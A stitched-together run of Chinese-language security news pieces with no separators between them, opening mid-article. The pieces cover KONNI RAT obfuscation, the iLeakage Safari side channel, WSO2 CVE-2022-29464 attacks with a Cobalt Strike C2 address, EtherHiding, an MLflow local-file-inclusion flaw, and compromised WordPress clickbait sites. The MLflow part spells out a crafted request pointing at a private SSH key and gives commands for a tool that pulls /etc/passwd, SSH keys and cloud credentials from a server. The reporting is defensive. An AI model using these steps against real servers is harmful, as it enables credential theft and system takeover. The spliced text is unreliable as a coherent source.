調查顯示，所有這些文件都使用AES進行了刪除和保護。巧妙的地方在於，他們重用了用於字符串保護的算法，使文件佈局與受保護的字符串佈局相同，因為它們出現在原始內存中：
新的KONNI示例現在也使用AES加密來保護文件
從圖中可以看出，文件本身包含了IV和加密的數據。使用的密鑰是從其原始文件名中提取的。在某些情況下，名稱與服務名稱匹配，因此.ini 和.dat 文件中使用的密鑰也是對服務名稱應用SHA256 的結果。
此外，發送到CC 服務器的文件使用AES 進行保護。 IV 是使用QueryPerformanceCounter API CALL 生成的。文件名由表示數據的2個字母和當前時間戳連接而成，後面跟著擴展名。此外，他們將使用這個新生成的名稱作為AES密鑰，因此他們通過請求將這個名稱發送到CC服務器。
即將發送到服務器的請求片段
由於文件名是使用時間戳自動生成的，因此相同的文件將產生不同的請求內容，因為它們是使用該文件名加密的。因此，網絡簽名也可能無法檢測到此惡意活動。
其他模糊處理技術除了發現一些僅通過我們之前描述的方式受到保護的示例，我們還發現了其他使用身份不明的封裝程序的示例。我們想分享一些關於該封裝程序的註釋，因為其他人可能會發現它在識別和歸因任務中很有用。
指令連續模糊處理模糊處理程序的流程將使用一系列推送調用指令對，其中推送的值將指示程序將採取的行動。下圖可以更好地解釋其過程：
推送調用指令對
特別值得注意的是，攻擊者在這些對之間放置了隨機字節。這個愚蠢的技巧會導致反編譯程序錯誤的代碼解釋，這些反編譯程序會假定push 指令之後的字節是下一條指令的一部分。下圖顯示了IDA 無法分析代碼的原因：
與前面的代碼相同，顯示了IDA為何不能表示真正的代碼
模糊處理程序流程使用的封裝程序會模糊處理原始程序流程。這是通過不同的步驟中完成的。第一個需要的步驟是找到Image Base 值，放置在一個固定位置和RIP（指令指針）值。
EBX 將保存RIP 值
一旦封裝程序知道這兩個值，它就會開始從一個地方跳到另一個地方，使分析變得更加困難。為此，它將存儲在下一個地址的某個寄存器值中以跳轉到寄存器中。這些寄存器的值是在jmp 指令之後立即計算的，使用像POP [reg] - jmp [reg]或ADD [reg1, reg2] - jmp [reg1]這樣的結構。請注意，反編譯程序將無法顯示實際流程，因為跳轉地址是由一個未定義的寄存器確定的。
顯示最終jmp 變為RBX 的模糊處理代碼
這些簡單技術的組合使封裝程序現在處於流的控制中，但靜態反編譯程序無法表示代碼將遵循的路徑。最後，封裝程序會執行大量的垃圾指令，並最終執行真正有趣的代碼。例如，在IAT 構建任務中，原始代碼在GetProcAddress 調用之間將使用不超過20 條指令。但封裝後的代碼可執行超過30000 條指令。
但根據最近的追踪分析，最近的攻擊不再使用該封裝程序。
總結如上所述，KONNI Rat 每隔一段時間就會更新迭代一次。開發者會不斷改進代碼。在我們看來，他們的努力旨在打破沙盒規則，使檢測更加困難，特別是通過常規簽名，因為可執行文件的關鍵部分現在已加密。
研究人員已設計出了一種攻擊方法，可以利用現代iOS和macOS設備搭載的A系列和M系列CPU中的側信道漏洞，迫使蘋果的Safari瀏覽器洩露密碼、Gmail郵件內容及其他秘密信息。
學術研究人員將這種攻擊命名為“iLeakage”，這是一種切實可行的攻擊，只需極少的物理資源。然而，它確實需要對蘋果硬件進行深入的逆向工程，還需要在利用側信道（side channel）這類漏洞方面擁有豐富的專業知識。
側信道可以根據電磁輻射、數據緩存或目標系統的其他表現形式中留下的線索洩露秘密信息。這裡的側信道是推測執行，這是現代CPU中提升性能的一項功能，近年來卻成為了一大批攻擊的來源，幾乎源源不斷的漏洞變種使得芯片製造商（主要是英特爾，其次是AMD）競相制定緩解措施。
利用蘋果芯片上的WebKit研究人員將iLeakage實施成了一個網站，被易受攻擊的macOS或iOS設備訪問時，該網站使用JavaScript秘密打開攻擊者選擇的不同網站，並恢復在彈出窗口中渲染/呈現的網站內容。研究人員成功地利用iLeakage恢復了YouTube的觀看歷史內容、Gmail收件箱的內容（目標登錄期間）以及由憑據管理器自動填充的密碼。一旦被訪問，iLeakage網站需要大約5分鐘來分析目標機器，另外平均需要大約30秒來提取一個512位的秘密信息，比如64個字符的字符串。
圖1. 上圖：Gmail的Web視圖中顯示的電子郵件。下圖：恢復的發件人地址、主題和內容。
研究人員在相關信息網站上寫道：“我們展示了攻擊者如何誘使Safari呈現任意網頁，隨後使用推測執行恢復網頁中存在的敏感信息。特別是，我們演示了Safari如何允許惡意網頁從流行的高價值目標中恢復秘密信息，比如Gmail收件箱內容。最後，我們演示了密碼的恢復，以防這些密碼被憑據管理器自動填充。”
圖2. 上圖：谷歌的帳戶頁面被密碼管理器自動填寫，其中密碼是googlepassword。下圖：洩露的頁面數據，憑據高亮顯示。
雖然iLeakage只在目標運行Safari時攻擊Mac，但iPhone和iPad在運行任何瀏覽器時都可能受到攻擊，因為它們都基於蘋果的WebKit瀏覽器引擎。
蘋果代表聲稱，iLeaka已意識到這個漏洞，計劃在即將發布的軟件版本中解決這個問題，沒有指定CVE編號來跟踪該漏洞。
獨特的WebKit屬性是這種攻擊的一個關鍵因素。 A系列和M系列芯片（蘋果分別為iOS和macOS設備設計的第一代CPU）是另一種設計，這兩種芯片都含有防護措施，旨在防止推測執行攻擊，實施這些防護措施的方式存在缺陷，最終讓iLeakage得以變成現實。
推測執行：不斷搗鼓的黑客手法2018年初，兩個相互獨立的研究團隊披露了兩種攻擊，一種名為Spectre，另一種名為Meltdown，兩者都能夠通過探索推測執行這項提升性能的功能中一個新發現的側信道來恢復機密信息，且這項功能內置在幾乎所有的現代CPU中。將數據從主系統內存移到CPU中很耗費時間，為了縮短等待時間，現代CPU在所需數據可用時立即執行指令，而不是按順序執行。
這種亂序模式的一個關鍵要素是預測CPU可能經過的路徑，如果預測正確，任務就會比沒有預測的情況下更快地完成；如果不正確，CPU將放棄錯誤預測的路徑，採用一條新的正確的路徑。 Spectre和Meltdown的研究人員發現，無法恢復微架構層面的某些工件，包括緩存和預測器狀態。這使得研究人員能夠設計出攻擊手法，誘騙英特爾和AMD的CPU錯誤地預測敏感指令，將秘密信息從一個應用程序洩露到另一個獨立的、不相關的應用程序中，這嚴重突破了核心安全邊界。
在此後的幾年裡，CPU製造商和軟件開發商想出了許多方法來緩解推測執行攻擊。一個關鍵的緩解措施是限制瀏覽器或其他應用程序測量CPU執行特定操作所需的精確時間的功能。在瀏覽器中，更多的緩解措施以名為壓縮35位尋址和值中毒的防禦形式出現。
圖3. 推測類型混淆小工具的偽代碼。
iLeakage代表了幾項突破。首先，它能夠利用類型混淆漏洞，在搭載A系列和M系列芯片的Safari瀏覽器上擊敗這些防禦措施。其次，它是一種不依賴時間的變種，而是依賴所謂的競態條件。第三個關鍵因素是WebKit的獨特功能：使用常見的JavaScript方法window.open，將來自不同域的網站整合到同一個渲染器進程中。
圖4. 該圖概述了基於競爭條件的小工具如何運行以區分緩存命中和緩存未命中。
研究人員在信息網站上寫道：為了構建iLeakage，我們先對蘋果Silicon CPU上的緩存拓撲結構進行了逆向工程分析。然後我們使用一個新的基於推測的小工具克服了蘋果的計時器限制，我們因而可以區分單個緩存命中和緩存未命中，儘管只能訪問低分辨率計時器。我們還演示了這個小工具的一個變種，它不使用計時器，而是利用競爭條件，在使用基於推測的小工具構建驅逐集（eviction set）之後，我們進而分析Safari的側信道彈性。這裡，我們繞過了Safari的35位尋址和值中毒對策，創建了一個可以在Safari的頁面呈現過程中推測讀取和洩漏任何64位指針的原語。再結合一種將來自不同域的網站整合到同一地址空間的新方法，我們能夠發動一種洩漏敏感信息的類似推測的混淆攻擊。
研究人員在一篇附帶的研究論文（https://ileakage.com/files/ileakage.pdf）中這樣描述這種不受時間影響的變種：我們將所有上述構造的原語組合到一個不受時間影響的Spectre v1小工具概念驗證（PoC）。大體上而言，我們通過以下方法來做到這一點，即把洩露所推測的秘密信息的基於緩存時間的方法換成不受時間影響地區分緩存未命中和緩存命中的小工具。在這裡，我們展示了我們的攻擊在Safari、Firefox和Tor上擁有近乎完美的準確性。
萬事俱備攻擊要想成功，一台易受攻擊的計算機必須先訪問iLeakage網站，對於涉及YouTube、Gmail或任何其他特定Web資產的攻擊，用戶應該在攻擊網站打開的同時登錄到其帳戶。如前所述，攻擊者網站需要花大約5分鐘來探測訪問設備。然後，使用window.open JavaScript方法，iLeakage可以導致瀏覽器打開任何其他網站，開始以每秒24位到34位的速度竊取某些數據。
正如研究論文解釋的那樣：
我們先回顧一下，雖然Safari通常遵循嚴格的每個選項卡進程模式，但由window.open函數打開的頁面與父頁面共享渲染/呈現過程。因此，我們創建了一個將window.open綁定到onmouseover事件偵聽器的攻擊者頁面，以便我們在我們的地址空間打開任何網頁，只要目標的鼠標光標在頁面上。
我們注意到，即使目標關閉了打開的頁面，內存中的內容也不會立即被清除，從而使我們的攻擊得以繼續洩露秘密信息。最後，由於window.open執行整合，無論父網頁和打開網頁的來源是什麼，我們將我們攻擊者的網頁託管在一個非公開訪問的Web服務器上，同時使用window.open整合來自其他域的頁面。
圖5
許多目標很可能會識別出iLeakage生成的彈出窗口並關閉它。即使這樣，攻擊也會得逞，因為內容在內存中仍然完好無損，使iLeakage得以繼續洩露秘密信息。
可以恢復的數據類型包括：
•由憑據管理器自動填寫的密碼
•Gmail收件箱內容
•YouTube觀看歷史記錄
iLeakage是一種切實可行的攻擊，只需要很少的物理資源就可以實施，最大的挑戰是需要高超的技術專長。攻擊者不僅要有利用推測執行漏洞方面的多年經驗，還要對A系列和M系列芯片進行全面的逆向工程處理，以深入了解它們含有的側信道。沒有跡象表明這個漏洞以前被發現過，更不用說在外面被大肆利用了，這意味著這個漏洞很快被用於實際攻擊的可能性很小。
蘋果計劃推出的補丁，很可能會在iLeakage式的攻擊網站變得切實可行之前，早早實施到位。
趨勢科技的研究人員觀察到漏洞CVE-2022-29464 自4 月以來就在野外被利用，該漏洞允許不受限制的文件上傳，從而進行任意遠程代碼執行(RCE)。在4 月份披露和修補後，該漏洞被評為9.8級，並影響了許多WSO2 產品。它不需要用戶交互和管理權限即可濫用，並且可以在設備未打補丁的情況下攻擊網絡。
WSO2產品的漏洞於4月18日被一位名為Orange Tsai的用戶披露，並隨後給出了相應的CVE ID，並進行了修補。 4月20日，一位名為“hakkivi”的GitHub 用戶發布了該漏洞利用的證明，第二天研究人員就觀察到了對受影響環境的攻擊，大約一周後，受影響環境的Metasploit 模塊就可用了。該漏洞會影響WSO2 API Manager 2.2.0 及更高版本、Identity Server 5.2.0 及更高版本、Identity Server Analytics 5.4.0 至5.6.0、Identity Server as Key Manager 5.3.0 及更高版本、Open Banking AM 1.4.0 及更高版本，以及Enterprise Integrator 6.2.0 及以上版本。
漏洞濫用
感染鏈我們觀察到安裝了濫用該漏洞的web shell，並查看此漏洞的概念證明，一個惡意Jakarta Server Pages（.JSP，以前的JavaServer Pages）文件可以上傳到以下位置。
但值得注意的是，許多觀察到的攻擊在現有的PoC實現中是非常持久的。
然而，在分析過程中，研究人員在其他安裝了web shell 的位置發現了其他上傳和安裝的web 應用程序資源(.WAR) 文件，這可能是由於Metasploit 模塊的啟動。從這個.war 文件中，Payload.class 由用戶環境中的合法Java 應用程序服務器函數提取：
位置/authenticationendpoint/似乎是WSO2產品中常見的位置，我們發現在使用. jsp或. war文件受影響的7個產品中，至少有4個出現了針對該位置以及其他位置的web shell安裝。
在web shell安裝之後，Java進程會調用wget命令來獲取auto.sh文件。我們分析了這個文件，發現它是一個coinminer安裝程序（被趨勢科技檢測為Trojan.SH.MALXMR.UWELO），很可能是通過濫用漏洞的web shell安裝的。
追踪可疑的執行
觀察到的wget 命令執行
此外，研究人員還觀察到從Java進程運行的chmod命令對權限的更改。我們看到，攻擊者可以使用與Java 進程所有者相同的權限執行任意操作系統命令。在利用4 月記錄的Spring4Shell (CVE-2022-22965) 漏洞的Mirai 殭屍網絡惡意軟件樣本中也觀察到了chmod 命令。
跟踪chmod 命令
chmod 命令執行
Vision One的燕麥功能將這些命令執行顯示為“低風險”。由於一些執行和流程被團隊和管理員用作常規操作(如wget和chmod)的一部分，低風險級別的檢測通常會與高風險或關鍵風險級別的項目相結合進行分析，因此會被跟踪：
OAT 顯示wget 和chmod 命令執行情況
為Linux開發了Cobalt Strikebeaconchmod命令執行後，進程“LBcgqCymZQhm”（被趨勢科技檢測為Backdoor.Linux.COBEACON.AA）也從Java 進程中執行。該進程在Linux 操作系統上運行，並執行到IP 地址179[.]60[.]150[.]29:4444 的出站連接。分析發現，該IP地址是一個惡意的Cobalt Strike回調目的地和命令與控制(CC)服務器，研究人員自2021年3月以來一直在跟踪和阻止該服務器。
在最初的調查中，研究人員將這個207 字節的ELF 可執行文件確定為與Linux 兼容的Cobalt Strike beacon。考慮到該環境運行在Linux操作系統上，而Cobalt Strike只提供針對Windows的beacon，因此該示例很可能是由攻擊者開發的，以與Cobalt Strike 兼容。
跟踪未知的可疑執行
觀察到與Cobalt Strike 回調建立出站連接的未知流程執行
分析還發現安裝了惡意軟件，例如用於Windows 的Cobalt Strike beacon（趨勢科技檢測為Backdoor.Win64.COBEACON.SMA）和hacktool fscan（趨勢科技檢測為HackTool.Win64.NetScan.AE)，尤其是在Windows 環境中。雖然攻擊者應該執行放置在受影響計算機上的文件，但執行被趨勢科技的解決方案終止。
總結使用受影響產品的用戶應按照WSO2 安全公告中確定的步驟立即修補或應用建議的臨時緩解程序。在進行初步分析後，趨勢科技的研究人員還在4 月發布了初步通知，通知了用戶和組織。在漏洞披露三天后和PoC 發布後的第二天，已經觀察到濫用此漏洞的攻擊，並且在安裝web shell 方面特別激進。在Linux 和Windows 環境中也觀察到了Cobalt Strike beacon。由於沒有為Linux 提供官方beacon，研究人員觀察到的兼容beacon應該是由攻擊者準備的。我們還觀察到用於Windows和Linux環境下加密貨幣挖礦的掃描工具fscan。通過對該漏洞的矢量分析，可以很容易地利用這一漏洞，因為使用受影響產品的服務器可以通過谷歌或Shodan搜索找到。此外，攻擊者似乎一直在實施現有的PoC，而Metasploit 模塊的可用性是網絡犯罪分子利用漏洞的關鍵一步。
雖然此前有報導稱，趨勢科技在2021年9月發現了一個與linux兼容的Cobalt Strikebeacon，其名稱為Trojan.Linux.VERMILLIONSTRIKE.A，但我們的分析發現，這個beacon具有不同的結構。研究人員還觀察了同一家族beacon的其他樣本在其他受漏洞影響的環境中的安裝情況。考慮到這一點，研究人員預計未來在易受攻擊的Linux環境中會更看到這個家族的樣本，因為安裝後門beacon表明，與安裝挖礦程序相比，可能會發生更多惡意和破壞性活動。
WSO2 產品的應用行業非常廣泛，例如醫療保健、銀行、能源、教育、政府和通信等。快速掃描他們的API Manager 的GitHub 頁面可以顯示至少每天提交一次的源代碼。
與其他服務器相比，WSO2 身份服務器可以被認為是攻擊者滲透的最有價值的資產之一，因為它是一個開源身份訪問管理(IAM) 產品。訪問IAM 服務器的攻擊者可以隨意訪問在WSO2 產品服務器下具有訪問管理權限的所有服務和用戶數據。負責清理的管理員和IT團隊應該檢查WSO2產品，看看是否有任何不屬於該產品的文件、用戶和/或流程，並將它們全部刪除。
Guardio Labs研究人員Nati Tal和Oleg Zaytsev發現黑客使用了一種名為EtherHiding的代碼分發技術，濫用幣安智能鏈（BSC）的智能合約來隱藏惡意腳本。在該網絡攻擊活動中，攻擊者使用劫持的WordPress網站誤導用戶下載惡意虛造的瀏覽器更新，然後將用戶重定向到Cloudflare Worker主機來注入惡意腳本到被黑的網站。由於濫用的Cloudflare Worker主機被攔截，隨後攻擊者轉向使用去中心化、匿名的公開區塊鏈系統提供更加可靠和隱蔽的分發信道，使用區塊鏈系統使得攻擊活動難以檢測和攔截。
EtherHiding惡意軟件EtherHiding是名為ClearFake的黑客組織用來分發代碼的新技術，分發的代碼被注入到被黑的網站上以展示虛假的瀏覽器更新，Guardio Labs研究人員解釋稱黑客正在攻擊有價值的WordPress網站或被黑的管理員憑證來注入兩個腳本標籤到網站。這些腳本注入會加載幣安智能鏈JS庫，並從區塊鏈取回惡意腳本，並註入到網站中。
圖為連接幣安鏈的JS
從幣安鏈取回的代碼會注入到網站中，以觸發第三階段payload的下載。第三階段payload是從攻擊者所有的C2服務器下載的，C2地址直接來源於區塊鏈，所以攻擊者可以很輕鬆地修改以繞過攔截方法。用戶瀏覽器中運行的第三階段payload會在網站上展示一個虛假的覆蓋，要求用戶更新Chrome、Edge或Firefox瀏覽器。
圖為展示在被黑網站上的虛假Chrome更新
一旦受害者點擊更新按鈕，就會被重定向到Dropbox或其他合法的託管網站來下載惡意可執行文件。
圖為最新的ClearFake攻擊鏈
使用區塊鏈的優勢區塊鍊是用來運行去中心化應用和智能合約的，區塊鏈上的代碼無法被修改和刪除，所以使用區塊鏈作為基礎設施可以使得攻擊活動無法被攔截。如果其中一個域名被識別和標記，攻擊者可以更新鏈來交換為其他惡意代碼和相關的域名。此外，做這些修改不會產生費用，所以網絡犯罪分子可以濫用這些系統進行攻擊活動而無需承擔額外的成本。
圖為惡意智能合約
智能合約部署在幣安鏈上後，可以匿名運行，且無法被阻止。即使將該地址報告為惡意的，也無法阻止其分發惡意代碼。 Guardio Labs稱報告該地址會觸發幣安鏈瀏覽器頁面的告警不要與該地址交互，但被黑的WordPress網站訪問者不會看到這樣的告警信息。
圖為幣安鏈上報告的地址
解決這一問題的唯一方法就是關注WordPress安全，使用強、唯一的管理員密碼，保持插件更新，移除不使用的賬戶。隨著區塊鏈方法的優勢，未來區塊鏈濫用於payload分發會變得越來越頻繁。
更多技術細節參見：https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16
CVE-2023-1177：MLflow中的LFI/RFILFI/RFI導致系統和雲帳戶被接管
所有CVE在版本2.2.2中已經被修復
已發布了漏洞利用工具和掃描工具
機器學習系統領域最流行的工具之一是MLflow（月下載量超過1300萬人次，且這個數字還在增長），它用於管理端到端機器學習生命週期。
Protect AI測試了MLflow的安全性，結果發現了一個混合型的本地文件包含/遠程文件包含(LFI/RFI)漏洞，可能導致整個系統或云提供商被人接管。強烈建議運行MLflow服務器的組織立即更新到最新版本，或者至少更新到2.2.2版本。版本2.2.1修復了CVE-2023-1177，版本2.2.2修復了CVE-2023-1176。我們在本博文中探討了該漏洞的影響、如何檢測它，以及我們發現這個嚴重漏洞的過程。如果你正在運行MLflow，請使用本博文中提供的免費工具，立即開始修補系統。使用傳統工具給系統打補丁可能是一個挑戰，因為許多自動化補丁管理系統並不枚舉或識別MLflow，就算枚舉或識別，可能也不會執行版本檢查。
立即升級到MLflow的最新版本非常重要，哪怕你的實例不在生產環境中，只在開發環境中使用。
影響如果利用該漏洞，未經身份驗證的遠程攻擊者可以讀取啟動了MLflow服務器的用戶可以訪問的這台服務器上的任何文件。
可以通過從MLflow服務器獲取私有SSH密鑰或云服務提供商憑據來獲得遠程代碼執行的機會。這讓攻擊者得以遠程登錄到服務器或云資源，並利用找到的憑據擁有的相應權限執行任意代碼。
漏洞細節不需要用戶交互。
不需要事先了解環境。
MLflow的所有自定義配置都易受攻擊，包括開箱即用的安裝環境。
MLflow 2.1.1之前的所有版本都容易受到LFI的攻擊。
漏洞利用工具適用於從MLflow v1.12到v2.1.1的所有版本。
MLflow 2.0之前的所有版本都容易受到LFI的攻擊，只需通過更簡單地利用：http://
MLflow維護者迅速響應了負責任披露的這個漏洞，在短短幾週內交付了修復程序。 MLflow 2.1.1之後的版本不再容易受到攻擊。
漏洞檢測若要檢查你的MLflow服務器是否容易受到攻擊，請使用我們的免費CVE-2023-117-scanner掃描工具（https://github.com/protectai/Snaike-MLflow）。
發現過程我們先安裝了MLflow，啟動攔截代理BurpSuite以攔截所有MLflow API調用，運行用數據填充MLflow的實驗，然後啟動UI服務器作進一步探索。
# Download MLflow source to get access to their example runs
git clone https://github.com/mlflow/mlflow
# Create and enter new directory outside the mlflow/directory
mkdir mlflowui
cd mlflowui
# Copy the example code from the MLflow source into this new directory
cp -r ./mlflow/examples/sklearn_elasticnet_wine .
# Setup a virtual environment for installing requirements
python3 -m venv venv
source venv/bin/activate
# Install mlflow in this virtual environment
pip install mlflow pandas
# Run the example experiment
mlflow run --env-manager=local sklearn_elasticnet_wine -P alpha=0.5
# Run the UI to see the experiment details
mlflow ui --host 127.0.0.1:8000
在創建實驗時，它給了我們指定存儲對象的目錄這一選項。這似乎是一個可配置的文件路徑，我們可以通過運行的示例實驗就可以看到：
圖1
這立即引起了我們的注意，因為這需要完美地實施過濾機制，以防止本地文件包含或任意文件覆蓋。然而，你無法從UI遠程運行MLflow實驗。由於當你通過UI創建實驗時，工件位置實際上沒有發生任何變化，因此這裡沒有任何安全考慮。然後，我們通過點擊單趟實驗運行繼續探索。
圖2
點擊上圖所示的運行名稱，將我們帶到實驗運行細節，在這裡我們可以看到實驗涉及的文件，並下載文件，如下圖所示。
在這裡，我們在工件文件中看到了一個很大的“Register Model”（註冊模型）按鈕。我們很好奇。
圖3
圖4
它似乎不是什麼特別值得關注的對象，因為它只是彈出一個模式，讓你選擇模型，然後將該模型的詳細信息保存為“Version 1”（版本1）。
圖5
但是底層到底發生了什麼？為此我們檢查了BurpSuite。
圖6
我們發現了在UI中並沒有顯示的另一個協議和文件路徑輸入。這似乎很可疑。我們將它手動更改為用戶的私有SSH密鑰：file: ///Users/danmcinerney/. ssh/id_rsa。訪問該文件將允許你以啟動了MLflow服務器的用戶的身份遠程登錄到MLflow主機。
圖7
新的source在響應中有所體現，這通常表明服務器端出現了變化。我們很想知道這實現了什麼操作，於是回過頭去查看已註冊的模型細節。實驗中沒有什麼運行工件，模型細節或模型版本細節中也沒有值得關注的對象。這似乎是另一條死胡同，類似我們發現你可以將實驗工件路徑指向任意位置，但UI隨後不讓你任何操作。然而在檢查BurpSuite請求和響應日誌後，我們發現了一些值得關注的異常。
攻擊者現在擁有訪問權
圖8
get-artifact API調用中的“500內部服務器錯誤”讓我們感到可疑。在安全測試的早期，get-artifact API調用值得注意，因為它是從工件存儲庫返回文件數據的調用。這是你從實驗運行下載模型的方法，我們發現它受到了一個防止本地文件包含漏洞的函數的保護，如下所示。
圖9
我們花了一些時間試圖繞過這個，但沒有成功。這個特殊的get-artifact調用的不同之處在於，它不是試圖從子文件夾獲取文件，而是直接訪問文件名。此外，它實際上不是同一個API調用。下面是記入文檔的get-artifact REST API調用：
圖10
下面是類似的model-version/get-artifact調用：
圖11
區別包括URL路徑、參數和值。這顯然不是同一個API調用。
我們注意到這個API調用不在說明文檔中。關鍵區別在於，它通過path URL參數直接查找文件名，而不是通過合法的get-artifact API調用中的相對文件路徑來查找。
這就意味著LFI防護機制並不存在，因為不需要執行目錄遍歷。只需要控制源文件夾的位置。在上面的幾個步驟中，當我們創建一個新的模型版本時，嘗試將API請求的source路徑位置修改為：file:///Users/danmcinerney/.ssh/id_rsa：
圖12
我們應該做的是將source位置更改為文件夾而不是更改為文件。我們糾正了這一點。
圖13
隨後我們重新發送了發現的這個未記入文檔的REST API調用，並將其指向id_rsa，這是新模型版本source位置中的文件以及提供遠程登錄服務器功能的私有SSH密鑰。
圖14
使用檢索到的SSH密鑰，我們就可以通過終端訪問運行MLflow服務器的主機。 MLflow最常被配置為使用S3存儲桶作為工件存儲區。如果是這種情況，那麼機器上另一個價值非常高的目標將是~/.aws/credentials文件，可想而知該文件存儲的是AWS憑據。
其他高價值目標可能包括包含明文密碼的Web服務器SQL配置文件或包含所有用戶密碼散列的/etc/shadow，這些用戶密碼散列可以通過hashcat之類的工具來破解。
漏洞利用工具為了幫助保護你的系統，我們創建了一個簡單的工具來發現潛在漏洞，這個工具名為MLFIflow.py（https://github.com/protectai/Snaike-MLflow）。
安裝git clone https://github.com/protectai/Snaike-MLflow
cd Snaike-MLflow/MLFIflow
python3 -m venv mlfiflow
source mlfiflow/bin/activate
pip install -r requirements.txt
使用默認情況下，MLFIflow將嘗試從MLflow服務器讀取/etc/passwd，並使用找到的用戶名搜索SSH密鑰和雲憑據文件：
python MLFIflow.py -s http://1.2.3.4:5000
若要指定待下載的文件的自定義單詞列表，使用-f標誌：
python MLFIflow.py -s http://1.2.3.4:5000 -f /path/to/wordlist.txt
自2023年8月底以來，研究人員觀察到專門用於標題黨和廣告內容的受攻擊服務器顯著增加。但為什麼這樣的網站對攻擊者來說如此有吸引力呢？主要因為這些網站的設計是為了接觸到大量潛在的受害者。此外，標題黨網站經常使用過時或未修復的軟件，這使得它們很容易受到攻擊。
本文足以讓你了解標題黨文章的危險性。文中討論了標題黨網站如何增加流量以獲得廣告收入，研究人員回顧了一種基於其網絡流量特徵，來檢測易受攻擊標題黨網站的策略。最後，本文還闡述了基於CVE-2023-3169漏洞的標題黨網站數量激增的趨勢分析。
標題黨網站和廣告流量標題黨旨在讓讀者點擊一個可疑的網絡內容鏈接。專門從事標題黨內容的網站存在的唯一目的是產生廣告收入，因此，標題黨網站的網頁包含大量攻擊性廣告。
點擊誘餌需要大量的瀏覽量來產生廣告收入，所以這些網站通常使用以下三種策略來增加流量。
常青的話題；
內容髮現平台；
生成人工智能(AI)工具；
常青的話題增加流量的一個策略是關注常青話題。常青話題指的是與特定時間或地點無關的話題，人們一直覺得它們很有趣。例如，金融和衛生被認為是常青的話題。圖1和圖2顯示了來自標題黨網站的兩個示例頁面：
金融主題標題黨文章的例子
健康主題標題黨文章的例子
內容髮現平台由於標題黨內容本身是通過廣告傳播的，許多標題黨網站還依靠第二種策略來增加流量：內容髮現平台。
新聞機構和其他內容提供商使用內容髮現平台來創收，標題黨提供商經常使用這些服務來為他們自己的內容增加流量。
內容髮現平台經常使用技術來偽裝廣告。其中一種方法被稱為原生廣告，此方法將廣告內容配置為與其所在網站的外觀相似，瀏覽者很難區分網站的原創內容和廣告內容。下圖顯示了出現在新聞網站上的原生廣告示例：
原生廣告出現在新聞網站的例子
在上圖中，研究人員添加了一個紅色箭頭，指向hxxps://gofindyou[.]com/health/what-causes-plaque-psoriasis-heres-what-doctors-need-you-to-know的標題黨內容，快速檢查發現這個網站至少運行了一個過時的軟件。來自網頁的HTML代碼表明它使用了用於Yoast SEO的WordPress插件，如下圖所示：
一個標題黨頁面顯示Yoast SEO插件v20.8的HTML代碼
顯示Yoast SEO插件20.8版本的HTML最初發佈於2023年5月23日。上圖所示的網頁是在2023年10月27日提供的，當時Yoast SEO插件的最新版本是21.4，這個插件已經過時。
研究人員經常發現帶有過時軟件或插件的標題黨網站。這種特殊情況不意味著存在任何特定的漏洞，但過時的軟件可能比完全打過補丁的版本更容易受到攻擊。
生成人工智能工具標題黨作者的最新策略是使用Jasper和AIPRM等生成式人工智能工具，這些工具提供了一種簡單的方法來生成seo優化的內容，以增加網站流量。
攻擊者經常濫用、利用或破壞合法產品以達到惡意目的，但這並不一定意味著濫用合法產品的缺陷或質量問題。
一個示例是在hxxps://delhiproduct[.]info/top-24-earn-money-with-paid-online-surveys 上用ChatGPT寫的一篇文章，在本例中，該網站是一個運行MonsterInsights插件（版本8.1.0）的過時版本的WordPress網站，如下圖所示：
delhipproductinfo[.]com的HTML顯示了過時的MonsterInsights插件
截至2023年10月3日，MonsterInsights插件的最新版本是8.20.1，這意味著8.1.0版本至少已經過時兩年了。該插件的8.1.0版本也容易受到存儲跨站攻擊。
查找易受攻擊的網站要攻擊任何網站，攻擊者必須知道該網站的web服務器使用的web堆棧。這些數據包括操作系統、web內容管理軟件(CMS)以及任何相關的插件和主題。
攻擊者使用web堆棧數據來確定服務器是否運行任何過時的軟件或應用程序，有了這些信息，攻擊者可以很容易地找到公開的漏洞和利用來破壞網站。
研究人員如何確定服務器的web堆棧？研究人員可以通過網站的URL模式、HTML內容和功能來發現這些信息，網頁的外觀和感覺也可以提供線索。
接下來介紹一些指標，這些指標可以顯示網站的部分web堆棧。
/wp-content/或/wp-includes/：URL或網頁的HTML代碼中的任何一個字符串都表示關聯的網站可能使用WordPress。
wp-content/themes/Newspaper/style.css?ver=11.4.1 ：在網頁的HTML代碼中，此字符串表示網站使用tagDiv的WordPress報紙主題，報紙版本為11.4.1。
!-- This site uses the Google Analytics by MonsterInsights plugin v8.1.0 - Using Analytics tracking - https://www.monsterinsights[.]com/--：網頁HTML代碼中的這條評論表明該網站使用了WordPress的MonsterInsights插件。插件信息的註釋在大多數情況下都是準確的。
在確認利用CVE-2023-3169時，前兩種技術可能會有所幫助。
利用CVE-2023-31692023年9月11日，MITRE發布了CVE-2023-3169，該漏洞在與WordPress的Composer插件一起使用時會影響tagDiv的Newspaper和Newsmag主題，已經有數千個WordPress網站因該漏洞而被攻擊。
Unit 42團隊成員監控Palo Alto Networks的遙測惡意活動，這些數據包括網頁中HTML代碼的指示符及其關聯的URL。根據這些數據，我們通過存在惡意腳本和其他指標來確認一個受攻擊的網站。
之前的研究表明，利用CVE-2023-3169後，通過Balada注入器攻擊了數千個易受攻擊的網站。根據這項研究，受此攻擊的網站從以下位置生成加載惡意內容的頁面：
hxxps://stay[.]decentralappps[.]com/src/page.js
研究人員的數據證實了這一發現，分析發現與CVE-2023-3169相關的受攻擊WordPress網站在2023年8月底開始激增。
在兩個月的時間裡，研究人員發現了大約10300個被攻擊的WordPress網站。下面圖表說明了研究人員檢測到的這個峰值。
研究人員通過CVE-2023-3169竊取的WordPress網站數據
如下圖所示，這些受攻擊的網站中有很大一部分是標題黨或廣告網站。調查發現，標題黨和廣告佔檢測30%以上，在這30%的網站中，至少80%的網站使用了tagDiv的Newspaper主題，另外6%的網站使用了tagDiv的Newsmag主題。
注入腳本示例下圖顯示了2023年10月初的一個示例，其中一個受攻擊網站將惡意腳本注入到網頁中，注入的腳本以黃色突出顯示。
在WordPress網站的網頁上註入腳本的示例
這個混淆的腳本使用表示ASCII字符的十進制值，將這些數字轉換為ASCII文本會顯示惡意腳本，如下圖所示：
從上圖中突出顯示的文本解碼的惡意腳本
上圖中解碼的腳本包含相同的hxxps://stay[.] decentralapps [.]com/src/page.js URL，在之前的報告中提到了使用Balada注入器利用CVE-2023-3169的活動。
